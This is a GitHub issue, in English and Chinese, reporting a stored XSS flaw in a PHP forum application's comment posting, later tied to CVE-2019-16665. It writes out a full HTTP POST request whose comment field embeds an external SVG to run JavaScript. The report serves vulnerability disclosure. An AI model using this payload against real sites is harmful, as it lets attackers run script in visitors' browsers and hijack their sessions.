Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stored XSS in comments post #21

Open
ChandlerChin opened this issue Sep 21, 2019 · 1 comment
Open

Stored XSS in comments post #21

ChandlerChin opened this issue Sep 21, 2019 · 1 comment

Comments

@ChandlerChin
Copy link

ChandlerChin commented Sep 21, 2019

Stored XSS in comment posting
发表评论处存储型xss

The comment part is vulnerable with js-injected-svg xss, which malicious js code may get executed.
评论处存在svg注入js代码的xss漏洞,受害者将可能执行恶意js代码。

Ways to reproduce:
复现方法:
1 comment on any posts with malicious js code injected, like following:
1 在文章后发表带有恶意代码的评论,请求如下:

POST /index.php?app=group&ac=comment&ts=do&js=1 HTTP/1.1
Host: youdomain
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://yourdomain/thinknew/index.php?app=group&ac=topic&id=1
Content-Length: 104
Cookie: 
Connection: close

content=`<p>aaa<br><embed src=//html5sec.org/test.svg /></p>`&ispublic=0&topicid=1&token=99dc80d60a3284e86a8eef06c28a932f5614d29a

2 a alert box would pop, thus js code has been excuted.
2 弹框,说明js代码已经成功执行

@OS-WS
Copy link

OS-WS commented Dec 31, 2020

Hi, is there a fix for CVE-2019-16665?
If so, in what commit?

thanks in advance 💯

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants